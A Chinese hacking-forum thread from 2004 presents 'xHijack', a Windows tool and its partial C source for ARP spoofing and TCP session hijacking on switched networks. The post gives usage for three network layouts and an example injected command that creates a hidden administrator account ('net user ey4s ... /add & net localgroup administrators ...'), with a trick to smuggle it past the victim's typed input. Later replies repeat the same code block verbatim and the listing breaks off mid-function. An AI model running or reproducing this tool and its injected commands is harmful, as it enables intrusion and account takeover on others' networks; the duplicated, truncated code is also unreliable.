QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4261|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 8 |0 ?4 V6 W6 h4 F; Z5 l
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 7 y' i. d/ W. \
第二步是ARP欺骗,具体原理我就不说了。
+ z2 a- h+ y: `$ c1 j- i6 }& W3 F* b, T第三步就是开始劫持啦。 7 N) e# M, u! Y: ~

6 i  j9 Z/ L* o) u+ E" m我写了个程序xHijack可以实现第二、三步功能,使用如下:
7 `$ f8 v+ \' w+ i6 ?
  `  S. ?8 E! o3 D7 rUsage: xHijack ServerSide ClientSide
  ~  @0 t: W! N- d8 j% z# u
% V+ q% ]  p; r下面根据三种不同的情况分别说明如何输入参数:
# i2 `" A+ Z, V2 k<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
" m: c+ r  E: s3 [假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 0 s; V+ b; _3 H8 j
c:\>xHijack 192.168.0.2 192.168.0.3 8 j3 y$ _6 m: m& [! r
劫持前数据流程:server <--> client
) ?4 ~6 o5 [9 |% S. t7 g2 p3 @劫持后数据流程:server <--> hijacker <--> client
7 v. I" V8 _2 n: x" \% m" m
. v, W) \9 H+ k* F$ ?% B. @<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 ' p9 J$ v+ D. _( |2 {
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 ; A/ |  j0 h2 v' u1 C& b$ y3 {
xHijack 202.202.202.2 202.202.202.1
. f* W0 z' J# L# j4 D劫持前数据流程:server <--> gw <--> routes <--> client
& V  [  p, D1 N" X2 i劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
$ A: o: k. b- C+ d: C- X8 T
, f9 t% f8 ?7 [$ o6 G3 u4 q& Q/ l4 U<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
' e" v) w  r5 T& [, v假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
' Y# U8 S" J% f+ R0 `xHijack 192.168.0.1 192.168.0.2
  }, ?# J- z7 c& m劫持前数据流程:client <--> gw <--> routes <--> server
9 U8 P# p8 n8 D: }! L; n4 @7 m劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server , A) B1 X" J& ~* a0 ~# j
/ G/ ]+ g4 x& d8 }% O, z7 t. \
输入两个参数后,会提示你选择网卡,然后会提示 2 m  @& v' A" _/ N  K
l        <-- List all connections
& p% k0 F3 g6 }' v# K3 |6 ar x       <-- Reset the number x connection , ~4 ]& E. Z/ b
w x       <-- Watch the number x connection 4 }; `+ `, z) p2 D9 ?8 T% Z
h x command   <-- Hijack the number x connection to execute command
! E) r4 g& h% i
; }2 l2 I0 t6 D# F" W5 N& C9 R6 Glist、reset、watch命令我就不解释了。
9 p/ V* \3 W$ D5 Y假如现在有如下连接
( Y7 f5 U! ?: @2 d$ @* S2 G, p(1) 202.202.202.202:23 <--> 192.168.0.3:2345 8 h& X3 T4 }% w4 P# F
我们想要劫持这个连接运行我们的命令,输入 7 G5 {, E, ]2 D3 ~3 T; Z3 r( s+ J" Z& }
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
( U: X$ k% Z/ y' @4 Q为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 7 S- @% Y& z9 B& p
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 ; L0 X; R/ ~/ _+ @3 K/ z
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。 # y4 [5 ~0 ?- w. K6 ?( n* H8 K
2 p6 l, F2 g' i# U1 ?9 L( s# `% \
劫持的流程如下: 6 c! s5 {1 O  ^, O7 X+ g
<1>伪装成Server给Client发一个rst包 ! B& V0 b/ f( v! E- Z" ^) T# K+ l
<2>伪装成Client给Server发了一个数据包 " Y- j9 j  I6 _/ n  J0 D5 m
<3>Server回一个ACK包给client / a8 ~* J2 Y2 Q8 j" l& y/ _
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server 0 R  J" z4 _8 r8 x( Y

# {$ \2 h. v* e" Z8 U这样的话,我们只能发一个伪造的包,但我想已经足够了。
0 {2 O( S2 ~  P/ m想要一直劫持那个连接也可以,如下 % H% d9 W& A0 C( ?
<1>伪装成Server给Client发一个rst包
  Q( q" A* s1 Y' P<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
4 _9 s, z, W3 `( u<3>伪装成Client给Server发了一个数据包
! p7 i4 r( j7 v1 l) h( L<4>Server回一个ACK包给client
2 x# m) c3 H" e6 Z) ?+ @<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
8 m' c3 R0 a! M<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 & C$ [4 j3 _3 O# }7 s2 w1 z
4 i" f4 g% Q$ c1 J; |
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 8 c0 I) A" ?% k) n/ }
8 _- }# K" `' k' [3 l- @. X
8 V. A$ N5 W0 r5 J5 N" u, ?1 D* X
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 5 M  P3 M+ J, ?: s, h
还请各位多多指点。 - q/ e6 ]! f0 `' Z

& B/ K4 `, f8 a+ T# W9 IBTW:我没有空间,编译好的程序没地方放:( 1 \& w; n8 `% e/ Z0 C) X& @1 Z
' a$ V" K2 V- a2 n, b" q, m
4 C  T6 \" ~  u! h/ _* J, H
7 Q$ M6 P) L+ P2 L, X) [. j, Y+ @  w
参考资料
# b" d6 J4 h" G9 H- u" u<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
' ~# O& G) Z9 B7 D# B3 c<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
+ A  p; m- c9 A0 r( B7 ^; R. r1 Y! l' G, `
( X3 }; W# f: N' S; O" t
以下是程序代码 9 ?; a; c) t" `; m% e: T; K9 i
---------------------------------------------------------------------- 3 d" w2 X* J4 E, M
/*-----------------------------------------------------------------------------
  t$ e- V; X  x  pFile      : xHijack.c ! L8 S, ^" I& D+ o4 f
Version      : 1.0 7 m1 s0 _* U  ^6 ~- Q. S% U: q
Create at    : 2002/8/12 ( k& F0 {0 q8 U  N2 D
Last modifed at  : 2002/8/19 ( V$ L* h( y5 R: I+ n3 A
Author      : eyas
' h+ ~& l  v' n6 _$ a5 l' YEmail      : ey4s@21cn.com 2 l) Z6 n4 K0 ^% D& o# N, y) J
HomePage    : www.ey4s.org   B1 V$ ?4 o7 p9 t, F4 C! E
感谢refdom和shotgun发布的源代码,使我获益非浅。
3 z" Z+ F; Z& i" Z6 f" h: M% ZIf you modify the code, or add more functions, please email me a copy.
  ^$ e; y+ _& q4 O9 T" U/ V1 T
; m. W/ G9 K8 {( C1 f( x: Q备注:
+ ?3 u) w4 @3 A) d) \<>没有考虑IP头、TCP头超过20字节的情况 4 i' T$ H" H0 W5 R
<>没有考虑数据包分片的情况
0 w2 J; \$ k2 G/ ?& A<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
% O+ \4 F. u0 a3 H  G显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 ; S# r9 P8 P' B& K
题了。 : [5 W' C# c- \0 G$ ]  d" I
* N& j' Y9 t) D
也许下一版本会修正这些问题,也许不会有下一版本了。
7 W$ J8 \- \! Y5 j3 G  k7 x- U5 v' @% P6 b2 e
-----------------------------------------------------------------------------*/ ( Q) u6 x: ]# Y3 s- J: c/ b" R, \
#include : P( ~' {9 V, ^( A" s
#include & M  i$ z4 J$ B  v4 E: i
#include ) n/ W9 X( ]8 w' F
#include $ S! A" d" ~: k8 D; Q1 Z! J+ i+ q
#include
9 a) T( n, S* \+ L$ j0 \: c4 ~#include
# e/ v5 `, z  o1 s9 Z#include / k1 o3 K$ K% c: c

( y+ _  g6 p' c9 I& [. Z' u#pragma comment (lib, "packet") ( I8 b1 r+ Q) W  \" g0 J$ W
#pragma comment (lib, "iphlpapi") 8 P2 n( q* @; N$ ^" m9 a6 a7 W' U
#pragma comment (lib, "ws2_32") * [6 f5 L/ l% E( |9 Q! ]( ~4 e

6 P  E) F) [8 m' t" i: M#define Max_Num_Adapter 10 ; X( C' A) I, f2 O5 T! ^* `) m
#define Max_Num_IPAddr  5 6 z- g2 Y- x/ A- g1 @& T
#define EPT_IP      0x0800      /* type: IP  */ 7 Q# @0 H7 F; x, _! R) g
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
) ]/ @8 J+ Q' k# _! K) l+ M#define EPT_ARP      0x0806      /* type: ARP */
: m; \$ F0 f# w. h* F" g2 w
  H. H% _$ E: y/ l7 X#define  ACTION_NONE    0 $ i& D! C/ T1 j1 M, A/ O% K. s+ ~
#define  ACTION_WATCH  1   W" `, F* V! F8 f, E; u) y
#define  ACTION_RESET  2 + {# q6 k2 c" K; U# I
#define ACTION_HIJACK  3
' d3 W: b3 t1 A, t7 U& C: W$ f1 N, U2 i' F5 q9 A
/*以1字节对齐*/
5 X2 `* A$ x3 Z# `#pragma pack(1)
* A- z) x2 L5 y& N+ _  O" H- |typedef struct _ehhdr ! q; I8 |" B7 Z: t0 \& [2 ~4 }. I
{ 9 H1 p+ {& m1 S: H% E2 X# {
  unsigned char  DestMAC[6]; / Y8 }, f7 u) L" P9 `
  unsigned char  SourceMAC[6]; 4 k8 b, y+ W' Y3 x" {
  unsigned short  EthernetType;
2 s4 `: E# Y' b. n}EHHDR, *PEHHDR; 0 Q8 l7 |2 z3 ^: U2 v6 M8 w: z

, @) v* `8 z7 Y* f  w( ptypedef struct _iphdr        //定义IP首部 9 V; x- ~, G, v1 G* o7 ?' ^0 q
{ & ]1 P6 G& k9 x- Y, k. }
  unsigned char h_verlen;      //4位首部长度,4位IP版本号   P4 u3 A1 s1 o
  unsigned char tos;        //8位服务类型TOS   q; ]& i9 W5 J7 q
  unsigned short total_len;    //16位总长度(字节) / Z0 Y* o/ `9 F/ y
  unsigned short ident;      //16位标识
2 R' r$ {% x. G3 t4 H3 E# Q  unsigned short frag_and_flags;  //3位标志位
8 B8 Y0 f5 C0 i& g/ b& J  unsigned char ttl;        //8位生存时间 TTL # c! O$ ~( C0 U6 B6 D
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) , e; r/ G( p& b6 p$ j; T4 S
  unsigned short checksum;    //16位IP首部校验和
: t. R* v- A( v6 U7 j7 j* p  unsigned int sourceIP;      //32位源IP地址
1 R, y9 v' Z) L* G. _& v: p  unsigned int destIP;      //32位目的IP地址
; h4 _% U: q9 j, [0 }4 E  Y2 |% x( d}IPHDR, *PIPHDR; 5 [8 |3 U5 {6 ^# _8 P
  T% U& g/ \& ]! s* ]1 F
typedef struct _tcphdr        //定义TCP首部
1 i8 R& R6 f, r% b{
) A% S4 n+ q* Z5 U, b* |  USHORT th_sport;        //16位源端口
& G; E  h" z7 k  USHORT th_dport;        //16位目的端口 4 [- f! d7 j6 {- o; D+ I# F
  unsigned int th_seq;      //32位序列号 7 F9 C$ ]  i4 A4 O% {6 h& H
  unsigned int th_ack;      //32位确认号 ' n# M" }. S* i( Q7 B, v% c
  unsigned char th_lenres;    //4位首部长度/6位保留字 , L7 G# F5 C( F$ b" _; A
  unsigned char th_flag;      //6位标志位 - R2 l' C  |; r7 c
  USHORT th_win;          //16位窗口大小
* f1 N( L  I# e- n' B3 M  USHORT th_sum;          //16位校验和
7 o4 E5 C5 e* d' b, P6 q* H  USHORT th_urp;          //16位紧急数据偏移量 1 ?9 ~2 M3 i. l& c8 f' N, P( c
}TCPHDR, *PTCPHDR; ; J. H5 O  i+ P

$ ]* C  v# O0 ]typedef struct _psdhdr        //定义TCP pseudo header
* L' Y. ~) y0 ?0 r{               & J* H) h, d1 a* b
  unsigned long saddr; 2 C6 v, h# j+ u& `; g+ c$ r$ ^
  unsigned long daddr;
; ~% t* y. O( c; u; v  char mbz;
; v* e7 u* J# a  char ptcl; " v& w/ N: W5 G7 z+ }
  unsigned short tcpl;
3 d/ b6 s! S! x- o/ q- h8 ~}PSDHDR, *PPSDHDR;
2 W' d) j. t) d4 N, B) a$ U- X$ L# N6 T" e5 K9 W) N
typedef struct _arphdr
% o' i6 C' f4 s/ W7 u9 N, Z" {5 [9 b{
( Z, V2 q: l. y2 z0 R! u+ q" _  unsigned short  HrdType;//硬件类型
$ r% m, M6 s" C  unsigned short  ProType;//协议类型 ! y' l7 _4 P( d# \2 [8 |
  unsigned char  HrdAddrlen;//硬件地址长度 # }9 O: J% f/ P1 f8 z# V
  unsigned char  ProAddrLen;//协议地址长度 ( ~5 b/ f& Z, D1 L  o
  unsigned short  op;//operation 0 [& n5 x9 o; g# x
  unsigned char  SourceMAC[6];/* sender hardware address */ 5 b% z& T, R* J; ~3 Q( W. O/ }
  unsigned long  SourceIP;/* sender protocol address */ * F; a; j% d9 h! @: G8 w+ X& F  S
  unsigned char  DestMAC[6];/* target hardware address */ ; p& K% o) B' B; c
  unsigned long  DestIP;/* target protocol address */ / Y7 K. v7 w) ~: U& V( j- q
}ARPHDR, *PARPHDR; / g: m5 K" U* F8 C2 r; M! F

# F& G( E' i0 e2 Ktypedef struct _ArpPacket
# J. ^  \* V0 G6 K9 B{
$ L5 U' U1 {0 j: j  EHHDR  ehhdr; + z1 e& h5 n! K4 w$ b
  ARPHDR  arphdr; 7 \3 G$ ~4 m; P* Y: C
}ARPPACKET, *PARPPACKET;
( d. k, z8 l; w3 h! v5 ?' s2 g
! V/ d9 |7 X: _typedef struct _tcppacket 7 j2 ~# O8 P9 d0 |$ s) j
{
3 C* x" o) Y* M7 {  EHHDR  ehhdr; " S% z! {# `/ Q8 w7 x
  IPHDR  iphdr;
$ k0 `! |- t9 f! j8 m- `  TCPHDR  tcphdr;   a( K2 X# X1 ^
}TCPPACKET, *PTCPPACKET; 2 w; V( t% L3 Y, D$ S/ F: S. m

8 k9 a) d% b, D: u3 X1 q9 @typedef struct _conninfo
% e& t/ e' d. X2 q$ a9 u- m{
4 p- ^7 [( ]! c& W8 B  DWORD  dwServerIP; + z) z, I. i. M( o- z! o% n! K5 F
  USHORT  uServerPort;
( W8 L4 L5 G( j7 o  DWORD  dwClientIP;
* f9 j' Z, m3 j" S0 |% g  USHORT  uClientPort;
' g5 a1 |. D$ ~/ s9 r  DWORD  ident;//标识
! L& W0 S' b) H+ U) n) _  BOOL  bActive;
8 E- d" z2 M+ G$ D1 S: }  struct  _conninfo  *Next;
& ~% v4 x  i5 }, t* W2 e}CONNINFO, *PCONNINFO;
4 X1 u, C( [8 N8 C: x7 h3 ]$ N" g
  x" {# v7 P+ D$ k//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 8 `! }! A8 w1 X/ k- l3 @
        g_ClientSideIP,
/ {( J# {( {8 K& Z        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 - M9 f! U. j4 Y4 B
        g_TotalIP = 0;//
7 P1 d' V3 l6 _( t( C$ u$ Y. Tunsigned char  g_szOwnMAC[6];//本机MAC地址 0 Q% S. X* n. P; V
unsigned char  g_szClientSideMAC[6]; ! v2 v+ I  {) \$ D. ~) L: a- C# s
unsigned char  g_szServerSideMAC[6];
* z* P  S$ {! l. Fchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
! n! i4 U7 u2 S- c& ~! \, [/ tLPADAPTER    g_lpAdapter;
0 n8 J' g" v, K//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
' E  K/ B& _$ _2 z' v" A/ EHANDLE      g_hThread[4]; + U9 @/ ]* R3 H
char      g_szCommand[128];//command to execute after hijack
2 Y: i' k3 {* n  c; |DWORD      g_dwAction;//action type - x' G! ]% d' R1 l# o1 K% T
DWORD      g_dwCtrlConn;//action 所控制连接的标识
' O( n1 Y  |0 I7 IDWORD      g_ident;//节点标识,递增
' U" d" P# J2 z" ~3 H; rPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
. _: i- ]; P1 m  A- m5 Q8 T( |        g_pConnHead = NULL,
# i% b+ M' m* ^% ]% C' I        g_pConnLast = NULL; ; h% Z# |" M0 b7 [
char      g_szSendPacketBuf[1514]; - g0 k: b3 R9 d* _' z" z& i
LPPACKET    g_lpSendPacket; 0 W: M2 E0 b. n& _/ L1 n& C
//函数 4 ]6 [* E: S$ t! X: f/ y1 d
void      usage(void); / @) U7 i; j$ C7 R8 [" P- K, j( Y
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
% c, w, Z* e' ~8 U" F" Yvoid      ListAllConnection();//列出当前所有的连接 3 _* s5 }! @0 m& M( V! _: `
void      ResetActionAllFlag();
* g: _2 h8 ?0 J$ n! ]USHORT      checksum(USHORT *, int);
6 s* t$ m$ V: y) s0 e& ]BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
$ o' m6 ?9 v9 ?; `! U& hBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
) R) X0 w/ J+ A7 ?LPADAPTER    InitAdapter();//初始化一些参数和全局变量
" s" m8 y4 ~4 P2 EBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
- x7 ]! \- d3 |9 }BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 5 Y4 \2 t; |& y( o
DWORD      GetConnNum(char *, DWORD, DWORD *); # E5 H' i8 K3 S! v9 c; z1 Z
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
& [6 @' x* I! @) I& v0 dDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 ) I, T; D1 D& k  z% i0 t! N& b
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
) k: {( T0 _* S4 O9 O8 B: b/ B, TDWORD  WINAPI  InterfaceThread(LPVOID);// 5 a6 @9 v0 N' `6 A. v: \& n
BOOL  WINAPI  CtrlEvent(DWORD); 5 w" w5 F  F  ~4 s
  K& \9 N; B+ F3 A5 K% I% L
" a; L2 B3 G( ]3 h! Z" _. G
3 c9 i' G+ P2 L- {. H0 [5 q! n
int main(int argc, char **argv)
5 }8 `  Y1 {; m6 I" I{   d. r, e' l9 W6 X
  struct    bpf_stat stat; : \- r3 L0 _3 `% b% R
  int      i; ; G! M1 [& M& {/ @& K
' j" Y; }* x( y# r/ H6 ^
  usage();
  S/ c2 |) T3 |5 A$ E9 Q  if (argc != 3) return 0;
# R8 O) c4 ^9 F  //取得参数 ! @' A% c, U- k! G, ]/ S
  g_ServerSideIP = inet_addr(argv[1]);
  S' Z$ i1 d5 p3 k2 Y$ q+ O, }/ A  g_ClientSideIP = inet_addr(argv[2]); 7 b' k* O/ d- c* w& B7 k) C& E$ D
  //初始化adapter & 一些全局变量 % h8 d7 u8 t; A
  g_lpAdapter = InitAdapter();
4 V, j& h; h( v" M  if(!g_lpAdapter) return 0; / y5 z+ k+ [& n% s9 z
  //get ServerSide MAC & ClientSide MAC - Q) H# ~. F# d: S( {5 K
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
6 T( P5 r7 w' k: H, A) K) ?0 g3 |  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
8 {0 f0 Z4 X$ I/ P  //create arp spoof thread     
" r2 B6 S5 t, n0 z7 l: G  i = 1; % `9 b) p8 `6 U7 X  U; y4 b4 B1 c
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
3 M2 e* L. t4 e3 D# @6 v  Sleep(500); 9 L8 |# w( S5 H  g( v+ T& j" ~; ^
  i = 2; - N! y# C0 J3 l9 F
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); # H$ N/ |2 ^0 ~! k" E# ?
  //create analyse packet thread
# C( k- N! e0 a) e. a3 V  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
% P2 b" p' b$ H- J$ t: H  //create interface thread
4 X: O# O) `9 z+ L  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
* d5 o1 n* [! ]3 @$ r4 [  //set console ctrl handle
6 t$ f) Z6 E2 b; F  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) $ A7 {  @2 n+ Q: L
  { 7 \) k# }& D! b1 R
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
0 c  T- Q  l- Z/ @: S    return 0; ; K9 y: ]! I/ ?$ H+ e5 D; f" k
  }
$ X0 j) V+ ]7 `' T8 C; W$ @" A  //wait for any thread exit % d! ]: i% Y- G, n, a% n2 l% ?
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); / ]3 S9 m0 n8 C' A
  //print the capture statistics 7 K% d: m7 |6 Z; \9 V, {
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
3 Q& h3 d% x  `    printf("Warning: unable to get stats from the kernel!\n"); $ e: f# k7 u- }
  else
$ A- @# W# K, ]: s    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
( p4 Y4 w, u% S: d" d4 \* g% x% K4 g0 q" Q- t  //free resource   
6 t8 f; V7 l' `0 y+ E! g  PacketFreePacket(g_lpSendPacket); " Q& I3 X+ q6 e8 I5 v3 f, z3 y, C2 G
  PacketCloseAdapter(g_lpAdapter); 6 g# A; _" n; a& Q
  return 0;
- s/ U# q6 p& _# c}
/ {+ M+ h3 r$ J; G& H% k1 G0 J2 u: e& A- x- {5 [& b% k, U
//
% t# f0 D5 X* x( w$ N, U; X" a//功能:重置所有于ACTION有关的标志
8 [/ m, ?, `7 ~/ \. Y//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, : U* u- d1 e, R4 z+ u: t
        g_ClientSideIP, " r& b  U/ b$ f7 c
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
; W: @8 z/ r3 G7 r9 _2 |        g_TotalIP = 0;// & p. A3 M+ Y" D1 ]$ G$ h2 W2 l
unsigned char  g_szOwnMAC[6];//本机MAC地址
* X2 M% `. n: ?% n9 {unsigned char  g_szClientSideMAC[6];
3 k' ^" n, o. \4 l, x* Lunsigned char  g_szServerSideMAC[6];
' k7 ~1 f0 v7 \+ }  zchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 ( O9 q3 U0 x( c; R" S
LPADAPTER    g_lpAdapter;
. v4 P% y8 |) h' N9 M8 N" U//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread 7 n2 ], o) F2 K# r7 r# @: m, e
HANDLE      g_hThread[4];
+ S( S9 @9 e0 _) A: l& uchar      g_szCommand[128];//command to execute after hijack & `' f1 a. X) C
DWORD      g_dwAction;//action type . D2 D+ ]2 D% R# A) O
DWORD      g_dwCtrlConn;//action 所控制连接的标识 2 `8 e* J# w8 v. }( Q7 B0 Q: D
DWORD      g_ident;//节点标识,递增 . R/ {7 U+ ]. X' P* v
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
! O5 s. r" Q1 C* O5 w7 n        g_pConnHead = NULL,
! y- P$ i) y, y& Q$ v' }        g_pConnLast = NULL; 4 a; \9 Z$ n6 L# f3 t
char      g_szSendPacketBuf[1514];
. F  b  T0 l4 cLPPACKET    g_lpSendPacket; + ]# ^% w# J: j6 ]0 {$ J
//函数 $ E" w' P8 e5 \
void      usage(void);
' U' A# Q% P& Avoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
/ l, W8 `- R. }0 I# o" A: ovoid      ListAllConnection();//列出当前所有的连接 * Q# h: R& d, Q5 f8 o2 ~
void      ResetActionAllFlag();
) g0 E6 O- J8 g) `8 P8 J# _USHORT      checksum(USHORT *, int); . n0 @! D- F' n0 F: L6 W
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
5 K7 h. F- ]: {& k" uBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
2 @% p+ F4 y9 r0 n8 JLPADAPTER    InitAdapter();//初始化一些参数和全局变量 + f- {+ t6 Q' ~5 o; f# p, b
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 ; \8 K* K- E, H1 \2 e" C
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 1 O, e7 [/ c$ U5 d( O! L& C! W9 x
DWORD      GetConnNum(char *, DWORD, DWORD *);
' P- `7 c! g5 G3 F) S: NDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
9 v6 a8 R# N1 @. g7 J& [) @DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
0 V3 H1 X' |5 ?- i( YDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
  j, H1 C: p. t6 ^& o/ s, ?DWORD  WINAPI  InterfaceThread(LPVOID);//
1 N$ ~+ ~; H/ D* oBOOL  WINAPI  CtrlEvent(DWORD);
7 S; l; \; G- J3 F, z" h
& k7 F( o6 E# ~. P6 P+ z
" H  j8 n4 L& m; B5 x5 g" O
& K! H5 W: X- F4 Tint main(int argc, char **argv)
9 E: d8 x, N- V( s" a  D8 ^{ * J$ o) v/ H$ J) N. p
  struct    bpf_stat stat;
+ q, H" U: L- G4 ]* J3 Y9 w  int      i;
7 A! k* x; N! Q2 v. g9 w
+ A. `- y5 t7 n; v/ |+ c  usage();
' B: }) f. b6 D7 f( ?( e" O* k  if (argc != 3) return 0; $ Q5 Q  |) c" I
  //取得参数 . o5 @4 s7 u' p1 a+ P
  g_ServerSideIP = inet_addr(argv[1]);
5 B* E' S2 B6 Z  g_ClientSideIP = inet_addr(argv[2]);
  Z# `8 {8 @; T" A  //初始化adapter & 一些全局变量
3 v. i: B! d- [9 A( e( @% f" b" r  g_lpAdapter = InitAdapter();
" J3 s- G/ g# D6 o2 Y9 e" C* |/ `+ P0 |  if(!g_lpAdapter) return 0; 8 p1 ^  [4 I; v
  //get ServerSide MAC & ClientSide MAC
" r7 R1 ]3 c2 `% X- R  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; & X7 I% T0 _, \# b, x
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
7 ]* v; R8 f; u$ e) S2 N  //create arp spoof thread     0 m8 a! I0 l& T$ X% ^
  i = 1;
( b' f* `' h2 K: T# \* N% Q  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ! r3 w7 {( W+ s- u
  Sleep(500); / E4 }! ]; E! U# y7 b8 `
  i = 2;
) ^+ I+ z3 y2 _, l4 N5 s( V  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 2 R- ]2 j) ?- ]  E0 j
  //create analyse packet thread   k$ z5 D; T5 b$ P% K" S
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); - j: y5 t2 l# c# ~0 w$ K5 ~
  //create interface thread
& @* ~4 x/ t* r) k  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
/ V; q1 p4 V3 Z, G; F  //set console ctrl handle & |8 e( Y! e( D. {* m3 P
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
; C4 C# D7 T: ?* U$ d  {
2 K3 L( b+ |. A7 q3 d8 m% B0 b1 N    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
# L, b0 F9 O( j# u    return 0;
2 N1 A$ k1 m  D% F8 a9 ?  }
4 I- W! G& ~2 j! a0 n9 i! R+ \  //wait for any thread exit
: a6 D; G! b7 N0 a  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); ; y" ]$ h$ K0 j
  //print the capture statistics
5 Q9 R3 E" b  j  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 8 V) C- U# @" u+ g* v' v
    printf("Warning: unable to get stats from the kernel!\n");
+ {2 L; Q" `2 `9 U  I/ i( c* W% K  else
1 A4 Z! _. ~2 {1 j9 {    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
# A1 Q: X3 I( d; t  //free resource   
3 R7 n+ S+ L8 ~( ~3 j* J0 a* k- Y/ w  PacketFreePacket(g_lpSendPacket); / s& b$ n7 Z" ~% Y
  PacketCloseAdapter(g_lpAdapter);
* b( [, H4 Y! [- ~  return 0;
( \) F1 t0 I, w. y, M0 _/ J0 e0 i}
" n5 W* E; f  H& f" h
; X; t; i. c2 X4 w" R// 5 M, y, t6 l& s' J
//功能:重置所有于ACTION有关的标志
, V8 o. ]* @1 F+ b# M- Z1 b//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
; @- b1 D7 p" _{ ) R+ C. {' }4 Q
